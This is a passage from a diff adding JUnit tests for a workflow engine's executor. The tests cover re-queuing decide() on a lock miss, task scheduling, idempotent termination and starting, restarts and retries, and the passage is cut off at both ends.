taskMappers.put(JOIN.name(), new JoinTaskMapper()); + taskMappers.put( + FORK_JOIN_DYNAMIC.name(), + new ForkJoinDynamicTaskMapper( + idGenerator, + parametersUtils, + objectMapper, + metadataDAO, + mock(SystemTaskRegistry.class))); + taskMappers.put( + USER_DEFINED.name(), new UserDefinedTaskMapper(parametersUtils, metadataDAO)); + taskMappers.put(SIMPLE.name(), new SimpleTaskMapper(parametersUtils)); + taskMappers.put( + SUB_WORKFLOW.name(), new SubWorkflowTaskMapper(parametersUtils, metadataDAO)); + taskMappers.put(EVENT.name(), new EventTaskMapper(parametersUtils)); + taskMappers.put(WAIT.name(), new WaitTaskMapper(parametersUtils)); + taskMappers.put(HTTP.name(), new HTTPTaskMapper(parametersUtils, metadataDAO)); + taskMappers.put(LAMBDA.name(), new LambdaTaskMapper(parametersUtils, metadataDAO)); + taskMappers.put(INLINE.name(), new InlineTaskMapper(parametersUtils, metadataDAO)); + + DeciderService deciderService = + new DeciderService( + idGenerator, + parametersUtils, + metadataDAO, + externalPayloadStorageUtils, + systemTaskRegistry, + taskMappers, + new HashMap<>(), + Duration.ofMinutes(60)); + MetadataMapperService metadataMapperService = new MetadataMapperService(metadataDAO); + + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.getActiveWorkerLastPollTimeout()).thenReturn(Duration.ofSeconds(100)); + when(properties.getTaskExecutionPostponeDuration()).thenReturn(Duration.ofSeconds(60)); + when(properties.getWorkflowOffsetTimeout()).thenReturn(Duration.ofSeconds(30)); + when(properties.getLockLeaseTime()).thenReturn(Duration.ofSeconds(30)); + when(properties.getLockTimeToTry()).thenReturn(Duration.ofMillis(500)); + + workflowExecutor = + new WorkflowExecutorOps( + deciderService, + metadataDAO, + queueDAO, + metadataMapperService, + workflowStatusListener, + taskStatusListener, + executionDAOFacade, + properties, + executionLockService, + systemTaskRegistry, + parametersUtils, + idGenerator, + Optional.empty()); + } + + @Test + public void testDecideReQueuesWorkflowOnLockMiss() { + String workflowId = "contended-workflow-id"; + when(executionLockService.acquireLock(workflowId)).thenReturn(false); + + WorkflowModel result = workflowExecutor.decide(workflowId); + + // decide() must not silently drop the wake-up on a lock miss: it re-queues the workflow for + // a + // prompt retry (lockTimeToTry(500ms)/2 = 250ms) so a missed decide from a completion event + // or + // the sweeper does not park until the responseTimeout-postponed decider entry fires. + assertNull(result); + verify(queueDAO).push(DECIDER_QUEUE, workflowId, 0, Duration.ofMillis(250)); + verify(executionLockService, never()).releaseLock(workflowId); + } + + @Test + public void testScheduleTask() { + IDGenerator idGenerator = new IDGenerator(); + WorkflowSystemTaskStub httpTask = beanFactory.getBean("HTTP", WorkflowSystemTaskStub.class); + WorkflowSystemTaskStub http2Task = + beanFactory.getBean("HTTP2", WorkflowSystemTaskStub.class); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("1"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("1"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + List tasks = new LinkedList<>(); + + WorkflowTask taskToSchedule = new WorkflowTask(); + taskToSchedule.setWorkflowTaskType(TaskType.USER_DEFINED); + taskToSchedule.setType("HTTP"); + + WorkflowTask taskToSchedule2 = new WorkflowTask(); + taskToSchedule2.setWorkflowTaskType(TaskType.USER_DEFINED); + taskToSchedule2.setType("HTTP2"); + + WorkflowTask wait = new WorkflowTask(); + wait.setWorkflowTaskType(TaskType.WAIT); + wait.setType("WAIT"); + wait.setTaskReferenceName("wait"); + + TaskModel task1 = new TaskModel(); + task1.setTaskType(taskToSchedule.getType()); + task1.setTaskDefName(taskToSchedule.getName()); + task1.setReferenceTaskName(taskToSchedule.getTaskReferenceName()); + task1.setWorkflowInstanceId(workflow.getWorkflowId()); + task1.setCorrelationId(workflow.getCorrelationId()); + task1.setScheduledTime(System.currentTimeMillis()); + task1.setTaskId(idGenerator.generate()); + task1.setInputData(new HashMap<>()); + task1.setStatus(TaskModel.Status.SCHEDULED); + task1.setRetryCount(0); + task1.setCallbackAfterSeconds(taskToSchedule.getStartDelay()); + task1.setWorkflowTask(taskToSchedule); + + TaskModel task2 = new TaskModel(); + task2.setTaskType(TASK_TYPE_WAIT); + task2.setTaskDefName(taskToSchedule.getName()); + task2.setReferenceTaskName(taskToSchedule.getTaskReferenceName()); + task2.setWorkflowInstanceId(workflow.getWorkflowId()); + task2.setCorrelationId(workflow.getCorrelationId()); + task2.setScheduledTime(System.currentTimeMillis()); + task2.setInputData(new HashMap<>()); + task2.setTaskId(idGenerator.generate()); + task2.setStatus(TaskModel.Status.IN_PROGRESS); + task2.setWorkflowTask(taskToSchedule); + + TaskModel task3 = new TaskModel(); + task3.setTaskType(taskToSchedule2.getType()); + task3.setTaskDefName(taskToSchedule.getName()); + task3.setReferenceTaskName(taskToSchedule.getTaskReferenceName()); + task3.setWorkflowInstanceId(workflow.getWorkflowId()); + task3.setCorrelationId(workflow.getCorrelationId()); + task3.setScheduledTime(System.currentTimeMillis()); + task3.setTaskId(idGenerator.generate()); + task3.setInputData(new HashMap<>()); + task3.setStatus(TaskModel.Status.SCHEDULED); + task3.setRetryCount(0); + task3.setCallbackAfterSeconds(taskToSchedule.getStartDelay()); + task3.setWorkflowTask(taskToSchedule); + + tasks.add(task1); + tasks.add(task2); + tasks.add(task3); + + when(executionDAOFacade.createTasks(tasks)).thenReturn(tasks); + AtomicInteger startedTaskCount = new AtomicInteger(0); + doAnswer( + invocation -> { + startedTaskCount.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateTask(any()); + + AtomicInteger queuedTaskCount = new AtomicInteger(0); + final Answer answer = + invocation -> { + String queueName = invocation.getArgument(0, String.class); + queuedTaskCount.incrementAndGet(); + return null; + }; + doAnswer(answer).when(queueDAO).push(any(), any(), anyLong()); + doAnswer(answer).when(queueDAO).push(any(), any(), anyInt(), anyLong()); + + boolean stateChanged = workflowExecutor.scheduleTask(workflow, tasks); + // Wait task is no async to it will be queued. + assertEquals(1, startedTaskCount.get()); + assertEquals(2, queuedTaskCount.get()); + assertTrue(stateChanged); + assertFalse(httpTask.isStarted()); + assertTrue(http2Task.isStarted()); + } + + @Test(expected = TerminateWorkflowException.class) + public void testScheduleTaskFailure() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("wid_01"); + + List tasks = new LinkedList<>(); + + TaskModel task1 = new TaskModel(); + task1.setTaskType(TaskType.TASK_TYPE_SIMPLE); + task1.setTaskDefName("task_1"); + task1.setReferenceTaskName("task_1"); + task1.setWorkflowInstanceId(workflow.getWorkflowId()); + task1.setTaskId("tid_01"); + task1.setStatus(TaskModel.Status.SCHEDULED); + task1.setRetryCount(0); + + tasks.add(task1); + + when(executionDAOFacade.createTasks(tasks)).thenThrow(new RuntimeException()); + workflowExecutor.scheduleTask(workflow, tasks); + } + + /** Simulate Queue push failures and assert that scheduleTask doesn't throw an exception. */ + @Test + public void testQueueFailuresDuringScheduleTask() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("wid_01"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("wid"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + List tasks = new LinkedList<>(); + + TaskModel task1 = new TaskModel(); + task1.setTaskType(TaskType.TASK_TYPE_SIMPLE); + task1.setTaskDefName("task_1"); + task1.setReferenceTaskName("task_1"); + task1.setWorkflowInstanceId(workflow.getWorkflowId()); + task1.setTaskId("tid_01"); + task1.setStatus(TaskModel.Status.SCHEDULED); + task1.setRetryCount(0); + + tasks.add(task1); + + when(executionDAOFacade.createTasks(tasks)).thenReturn(tasks); + doThrow(new RuntimeException()) + .when(queueDAO) + .push(anyString(), anyString(), anyInt(), anyLong()); + assertFalse(workflowExecutor.scheduleTask(workflow, tasks)); + } + + @Test + @SuppressWarnings("unchecked") + public void testCompleteWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setWorkflowId("1"); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setOwnerApp("junit_test"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + workflow.setOutput(Collections.EMPTY_MAP); + + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + AtomicInteger updateWorkflowCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateWorkflowCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateWorkflow(any()); + + AtomicInteger updateTasksCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateTasksCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateTasks(any()); + + AtomicInteger removeQueueEntryCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + removeQueueEntryCalledCounter.incrementAndGet(); + return null; + }) + .when(queueDAO) + .remove(anyString(), anyString()); + + workflowExecutor.completeWorkflow(workflow); + assertEquals(WorkflowModel.Status.COMPLETED, workflow.getStatus()); + assertEquals(1, updateWorkflowCalledCounter.get()); + assertEquals(0, updateTasksCalledCounter.get()); + assertEquals(0, removeQueueEntryCalledCounter.get()); + verify(workflowStatusListener, times(1)) + .onWorkflowCompletedIfEnabled(any(WorkflowModel.class)); + verify(workflowStatusListener, times(0)) + .onWorkflowFinalizedIfEnabled(any(WorkflowModel.class)); + + def.setWorkflowStatusListenerEnabled(true); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflowExecutor.completeWorkflow(workflow); + verify(workflowStatusListener, times(2)) + .onWorkflowCompletedIfEnabled(any(WorkflowModel.class)); + verify(workflowStatusListener, times(0)) + .onWorkflowFinalizedIfEnabled(any(WorkflowModel.class)); + } + + @Test + @SuppressWarnings("unchecked") + public void testTerminateWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setWorkflowId("1"); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setOwnerApp("junit_test"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + workflow.setOutput(Collections.EMPTY_MAP); + + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + AtomicInteger updateWorkflowCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateWorkflowCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateWorkflow(any()); + + AtomicInteger updateTasksCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateTasksCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateTasks(any()); + + AtomicInteger removeQueueEntryCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + removeQueueEntryCalledCounter.incrementAndGet(); + return null; + }) + .when(queueDAO) + .remove(anyString(), anyString()); + + workflowExecutor.terminateWorkflow("workflowId", "reason"); + assertEquals(WorkflowModel.Status.TERMINATED, workflow.getStatus()); + assertEquals(1, updateWorkflowCalledCounter.get()); + assertEquals(1, removeQueueEntryCalledCounter.get()); + + verify(workflowStatusListener, times(1)) + .onWorkflowTerminatedIfEnabled(any(WorkflowModel.class)); + verify(workflowStatusListener, times(1)) + .onWorkflowFinalizedIfEnabled(any(WorkflowModel.class)); + + def.setWorkflowStatusListenerEnabled(true); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflowExecutor.completeWorkflow(workflow); + verify(workflowStatusListener, times(1)) + .onWorkflowCompletedIfEnabled(any(WorkflowModel.class)); + verify(workflowStatusListener, times(1)) + .onWorkflowFinalizedIfEnabled(any(WorkflowModel.class)); + } + + @Test + @SuppressWarnings("unchecked") + public void testTerminateAlreadyTerminatedWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setWorkflowId("1"); + workflow.setStatus(WorkflowModel.Status.TERMINATED); + workflow.setOwnerApp("junit_test"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + workflow.setOutput(Collections.EMPTY_MAP); + + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + AtomicInteger updateWorkflowCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateWorkflowCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateWorkflow(any()); + + AtomicInteger removeQueueEntryCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + removeQueueEntryCalledCounter.incrementAndGet(); + return null; + }) + .when(queueDAO) + .remove(anyString(), anyString()); + + // Attempt to terminate an already terminated workflow + workflowExecutor.terminateWorkflow("workflowId", "reason"); + + // Verify workflow status remains TERMINATED + assertEquals(WorkflowModel.Status.TERMINATED, workflow.getStatus()); + + // Verify no database updates occurred (should be 0, not 1) + assertEquals(0, updateWorkflowCalledCounter.get()); + + // Verify no queue removals occurred (should be 0, not 1) + assertEquals(0, removeQueueEntryCalledCounter.get()); + + // Verify no workflow status notifications were sent + verify(workflowStatusListener, times(0)) + .onWorkflowTerminatedIfEnabled(any(WorkflowModel.class)); + verify(workflowStatusListener, times(0)) + .onWorkflowFinalizedIfEnabled(any(WorkflowModel.class)); + } + + @Test + @SuppressWarnings("unchecked") + public void testTerminateWorkflowIdempotencyWithNoSideEffects() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + def.setWorkflowStatusListenerEnabled(true); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setWorkflowId("1"); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setOwnerApp("junit_test"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + workflow.setOutput(Collections.EMPTY_MAP); + + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + AtomicInteger updateWorkflowCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateWorkflowCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateWorkflow(any()); + + AtomicInteger updateTasksCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateTasksCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateTasks(any()); + + AtomicInteger removeQueueEntryCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + removeQueueEntryCalledCounter.incrementAndGet(); + return null; + }) + .when(queueDAO) + .remove(anyString(), anyString()); + + // First termination: workflow is RUNNING, should work normally + workflowExecutor.terminateWorkflow("workflowId", "first termination"); + + // Verify workflow was terminated successfully + assertEquals(WorkflowModel.Status.TERMINATED, workflow.getStatus()); + assertEquals(1, updateWorkflowCalledCounter.get()); + assertEquals(1, removeQueueEntryCalledCounter.get()); + + // Verify workflow status notifications were sent + verify(workflowStatusListener, times(1)) + .onWorkflowTerminatedIfEnabled(any(WorkflowModel.class)); + verify(workflowStatusListener, times(1)) + .onWorkflowFinalizedIfEnabled(any(WorkflowModel.class)); + + // Reset the mock to clear interaction history for clearer verification + reset(workflowStatusListener); + + // Second termination: workflow is already TERMINATED, should be idempotent + workflowExecutor.terminateWorkflow("workflowId", "second termination attempt"); + + // Verify workflow status is still TERMINATED + assertEquals(WorkflowModel.Status.TERMINATED, workflow.getStatus()); + + // Verify counters didn't increase (no additional operations) + assertEquals(1, updateWorkflowCalledCounter.get()); // Still 1, not 2 - no additional update + assertEquals( + 1, removeQueueEntryCalledCounter.get()); // Still 1, not 2 - no additional removal + + // Verify NO additional workflow status notifications were sent + verify(workflowStatusListener, times(0)) + .onWorkflowTerminatedIfEnabled(any(WorkflowModel.class)); + verify(workflowStatusListener, times(0)) + .onWorkflowFinalizedIfEnabled(any(WorkflowModel.class)); + } + + @Test + public void testUploadOutputFailuresDuringTerminateWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + def.setWorkflowStatusListenerEnabled(true); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setWorkflowId("1"); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setOwnerApp("junit_test"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + workflow.setOutput(Collections.EMPTY_MAP); + + List tasks = new LinkedList<>(); + + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(UUID.randomUUID().toString()); + task.setReferenceTaskName("t1"); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setTaskDefName("task1"); + task.setStatus(TaskModel.Status.IN_PROGRESS); + + tasks.add(task); + workflow.setTasks(tasks); + + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + AtomicInteger updateWorkflowCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateWorkflowCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateWorkflow(any()); + + doThrow(new RuntimeException("any exception")) + .when(externalPayloadStorageUtils) + .verifyAndUpload(workflow, ExternalPayloadStorage.PayloadType.WORKFLOW_OUTPUT); + + workflowExecutor.terminateWorkflow(workflow.getWorkflowId(), "reason"); + assertEquals(WorkflowModel.Status.TERMINATED, workflow.getStatus()); + assertEquals(1, updateWorkflowCalledCounter.get()); + verify(workflowStatusListener, times(1)) + .onWorkflowTerminatedIfEnabled(any(WorkflowModel.class)); + } + + @Test + @SuppressWarnings("unchecked") + public void testQueueExceptionsIgnoredDuringTerminateWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + def.setWorkflowStatusListenerEnabled(true); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setWorkflowId("1"); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setOwnerApp("junit_test"); + workflow.setCreateTime(10L); + workflow.setEndTime(100L); + workflow.setOutput(Collections.EMPTY_MAP); + + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + AtomicInteger updateWorkflowCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateWorkflowCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateWorkflow(any()); + + AtomicInteger updateTasksCalledCounter = new AtomicInteger(0); + doAnswer( + invocation -> { + updateTasksCalledCounter.incrementAndGet(); + return null; + }) + .when(executionDAOFacade) + .updateTasks(any()); + + doThrow(new RuntimeException()).when(queueDAO).remove(anyString(), anyString()); + + workflowExecutor.terminateWorkflow("workflowId", "reason"); + assertEquals(WorkflowModel.Status.TERMINATED, workflow.getStatus()); + assertEquals(1, updateWorkflowCalledCounter.get()); + verify(workflowStatusListener, times(1)) + .onWorkflowTerminatedIfEnabled(any(WorkflowModel.class)); + } + + @Test + public void testRestartWorkflow() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("test_task"); + workflowTask.setTaskReferenceName("task_ref"); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testDef"); + workflowDef.setVersion(1); + workflowDef.setRestartable(true); + workflowDef.getTasks().add(workflowTask); + + TaskModel task_1 = new TaskModel(); + task_1.setTaskId(UUID.randomUUID().toString()); + task_1.setSeq(1); + task_1.setStatus(TaskModel.Status.FAILED); + task_1.setTaskDefName(workflowTask.getName()); + task_1.setReferenceTaskName(workflowTask.getTaskReferenceName()); + + TaskModel task_2 = new TaskModel(); + task_2.setTaskId(UUID.randomUUID().toString()); + task_2.setSeq(2); + task_2.setStatus(TaskModel.Status.FAILED); + task_2.setTaskDefName(workflowTask.getName()); + task_2.setReferenceTaskName(workflowTask.getTaskReferenceName()); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setWorkflowId("test-workflow-id"); + workflow.getTasks().addAll(Arrays.asList(task_1, task_2)); + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow.setEndTime(500); + workflow.setLastRetriedTime(100); + + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + doNothing().when(executionDAOFacade).removeTask(any()); + when(metadataDAO.getWorkflowDef(workflow.getWorkflowName(), workflow.getWorkflowVersion())) + .thenReturn(Optional.of(workflowDef)); + when(metadataDAO.getTaskDef(workflowTask.getName())).thenReturn(new TaskDef()); + when(executionDAOFacade.updateWorkflow(any())).thenReturn(""); + + workflowExecutor.restart(workflow.getWorkflowId(), false); + assertEquals(WorkflowModel.Status.FAILED, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + assertEquals(0, workflow.getEndTime()); + assertEquals(0, workflow.getLastRetriedTime()); + verify(metadataDAO, never()).getLatestWorkflowDef(any()); + + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(WorkflowModel.class); + verify(executionDAOFacade, times(1)).createWorkflow(argumentCaptor.capture()); + assertEquals( + workflow.getWorkflowId(), argumentCaptor.getAllValues().get(0).getWorkflowId()); + assertEquals( + workflow.getWorkflowDefinition(), + argumentCaptor.getAllValues().get(0).getWorkflowDefinition()); + + // add a new version of the workflow definition and restart with latest + workflow.setStatus(WorkflowModel.Status.COMPLETED); + workflow.setEndTime(500); + workflow.setLastRetriedTime(100); + workflowDef = new WorkflowDef(); + workflowDef.setName("testDef"); + workflowDef.setVersion(2); + workflowDef.setRestartable(true); + workflowDef.getTasks().addAll(Collections.singletonList(workflowTask)); + + when(metadataDAO.getLatestWorkflowDef(workflow.getWorkflowName())) + .thenReturn(Optional.of(workflowDef)); + workflowExecutor.restart(workflow.getWorkflowId(), true); + assertEquals(WorkflowModel.Status.COMPLETED, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + assertEquals(0, workflow.getEndTime()); + assertEquals(0, workflow.getLastRetriedTime()); + verify(metadataDAO, times(1)).getLatestWorkflowDef(anyString()); + + argumentCaptor = ArgumentCaptor.forClass(WorkflowModel.class); + verify(executionDAOFacade, times(2)).createWorkflow(argumentCaptor.capture()); + assertEquals( + workflow.getWorkflowId(), argumentCaptor.getAllValues().get(1).getWorkflowId()); + assertEquals(workflowDef, argumentCaptor.getAllValues().get(1).getWorkflowDefinition()); + } + + @Test + public void testStartWorkflowIdempotentReturnsExistingWorkflowModel() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("existing-workflow"); + workflowDef.setVersion(1); + + StartWorkflowInput input = new StartWorkflowInput(); + input.setWorkflowDefinition(workflowDef); + input.setName(workflowDef.getName()); + input.setVersion(workflowDef.getVersion()); + input.setWorkflowInput(Collections.emptyMap()); + input.setWorkflowId("existing-workflow-id"); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("existing-workflow-id"); + workflow.setStatus(WorkflowModel.Status.RUNNING); + + when(executionLockService.acquireLock("existing-workflow-id")).thenReturn(true); + when(executionDAOFacade.getWorkflowModelFromExecutionDAO("existing-workflow-id", false)) + .thenReturn(workflow); + + WorkflowModel found = workflowExecutor.startWorkflowIdempotent(input); + + assertSame(workflow, found); + verify(executionDAOFacade, never()).createWorkflow(any()); + verify(executionDAOFacade, never()).getWorkflowModel("existing-workflow-id", false); + verify(queueDAO, never()).push(anyString(), anyString(), anyInt(), anyLong()); + verify(queueDAO, never()).postpone(anyString(), anyString(), anyInt(), anyLong()); + verify(executionLockService).releaseLock("existing-workflow-id"); + } + + @Test(expected = NonTransientException.class) + public void testStartWorkflowIdempotentRejectsExistingWorkflowOwnedByDifferentParentTask() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("owned-workflow"); + workflowDef.setVersion(1); + + StartWorkflowInput input = new StartWorkflowInput(); + input.setWorkflowDefinition(workflowDef); + input.setName(workflowDef.getName()); + input.setVersion(workflowDef.getVersion()); + input.setWorkflowInput(Collections.emptyMap()); + input.setWorkflowId("owned-workflow-id"); + input.setParentWorkflowId("parent-workflow"); + input.setParentWorkflowTaskId("parent-task"); + + WorkflowModel existingWorkflow = new WorkflowModel(); + existingWorkflow.setWorkflowId("owned-workflow-id"); + existingWorkflow.setStatus(WorkflowModel.Status.RUNNING); + existingWorkflow.setParentWorkflowId("other-parent-workflow"); + existingWorkflow.setParentWorkflowTaskId("other-parent-task"); + + when(executionLockService.acquireLock("owned-workflow-id")).thenReturn(true); + when(executionDAOFacade.getWorkflowModelFromExecutionDAO("owned-workflow-id", false)) + .thenReturn(existingWorkflow); + + try { + workflowExecutor.startWorkflowIdempotent(input); + } finally { + verify(executionDAOFacade, never()).createWorkflow(any()); + verify(executionDAOFacade, never()).removeWorkflow(anyString(), anyBoolean()); + verify(executionLockService).releaseLock("owned-workflow-id"); + } + } + + @Test + public void testStartWorkflowIdempotentCreatesWorkflowWhenExistingWorkflowIsNotFound() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("new-workflow"); + workflowDef.setVersion(1); + + StartWorkflowInput input = new StartWorkflowInput(); + input.setWorkflowDefinition(workflowDef); + input.setName(workflowDef.getName()); + input.setVersion(workflowDef.getVersion()); + input.setWorkflowInput(Collections.emptyMap()); + input.setWorkflowId("new-workflow-id"); + + when(executionLockService.acquireLock("new-workflow-id")).thenReturn(true); + when(executionDAOFacade.getWorkflowModelFromExecutionDAO("new-workflow-id", false)) + .thenThrow(new NotFoundException("missing")); + + WorkflowModel created = workflowExecutor.startWorkflowIdempotent(input); + + assertEquals("new-workflow-id", created.getWorkflowId()); + verify(executionDAOFacade).createWorkflow(any()); + verify(executionDAOFacade, never()).getWorkflowModel("new-workflow-id", false); + verify(executionLockService, atLeastOnce()).releaseLock("new-workflow-id"); + } + + @Test + public void testStartWorkflowIdempotentIgnoresIndexOnlyWorkflow() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("indexed-workflow"); + workflowDef.setVersion(1); + + StartWorkflowInput input = new StartWorkflowInput(); + input.setWorkflowDefinition(workflowDef); + input.setName(workflowDef.getName()); + input.setVersion(workflowDef.getVersion()); + input.setWorkflowInput(Collections.emptyMap()); + input.setWorkflowId("indexed-workflow-id"); + + when(executionLockService.acquireLock("indexed-workflow-id")).thenReturn(true); + when(executionDAOFacade.getWorkflowModelFromExecutionDAO("indexed-workflow-id", false)) + .thenThrow(new NotFoundException("missing")); + when(executionDAOFacade.getWorkflowModel("indexed-workflow-id", false)) + .thenReturn(new WorkflowModel()); + + WorkflowModel created = workflowExecutor.startWorkflowIdempotent(input); + + assertEquals("indexed-workflow-id", created.getWorkflowId()); + verify(executionDAOFacade).createWorkflow(any()); + verify(executionDAOFacade, never()).getWorkflowModel("indexed-workflow-id", false); + verify(executionLockService, atLeastOnce()).releaseLock("indexed-workflow-id"); + } + + @Test(expected = TransientException.class) + public void testStartWorkflowIdempotentPropagatesExecutionStoreLookupFailure() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("transient-workflow"); + workflowDef.setVersion(1); + + StartWorkflowInput input = new StartWorkflowInput(); + input.setWorkflowDefinition(workflowDef); + input.setName(workflowDef.getName()); + input.setVersion(workflowDef.getVersion()); + input.setWorkflowInput(Collections.emptyMap()); + input.setWorkflowId("transient-workflow-id"); + + when(executionLockService.acquireLock("transient-workflow-id")).thenReturn(true); + when(executionDAOFacade.getWorkflowModelFromExecutionDAO("transient-workflow-id", false)) + .thenThrow(new TransientException("execution store unavailable")); + + try { + workflowExecutor.startWorkflowIdempotent(input); + } finally { + verify(executionDAOFacade, never()).createWorkflow(any()); + verify(executionDAOFacade, never()).removeWorkflow(anyString(), anyBoolean()); + verify(executionLockService).releaseLock("transient-workflow-id"); + } + } + + @Test + public void testStartWorkflowIdempotentCreatesWorkflowAndExpeditesDecider() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("queued-workflow"); + workflowDef.setVersion(1); + + StartWorkflowInput input = new StartWorkflowInput(); + input.setWorkflowDefinition(workflowDef); + input.setName(workflowDef.getName()); + input.setVersion(workflowDef.getVersion()); + input.setWorkflowInput(Collections.emptyMap()); + input.setWorkflowId("queued-workflow-id"); + + when(executionLockService.acquireLock("queued-workflow-id")).thenReturn(true); + when(executionDAOFacade.getWorkflowModelFromExecutionDAO("queued-workflow-id", false)) + .thenThrow(new NotFoundException("missing")); + when(queueDAO.containsMessage("_deciderQueue", "queued-workflow-id")).thenReturn(true); + + WorkflowModel created = workflowExecutor.startWorkflowIdempotent(input); + + assertEquals("queued-workflow-id", created.getWorkflowId()); + assertEquals(WorkflowModel.Status.RUNNING, created.getStatus()); + verify(executionDAOFacade).createWorkflow(any()); + verify(queueDAO).postpone("_deciderQueue", "queued-workflow-id", 10, 0); + verify(executionLockService, atLeastOnce()).releaseLock("queued-workflow-id"); + } + + @Test(expected = NotFoundException.class) + public void testRetryNonTerminalWorkflow() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryNonTerminalWorkflow"); + workflow.setStatus(WorkflowModel.Status.RUNNING); + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + } + + @Test(expected = ConflictException.class) + public void testRetryWorkflowNoTasks() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("ApplicationException"); + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow.setTasks(Collections.emptyList()); + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + workflowExecutor.retry(workflow.getWorkflowId(), false); + } + + @Test(expected = ConflictException.class) + public void testRetryWorkflowNoFailedTasks() { + // setup + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testRetryWorkflowId"); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testRetryWorkflowId"); + workflowDef.setVersion(1); + 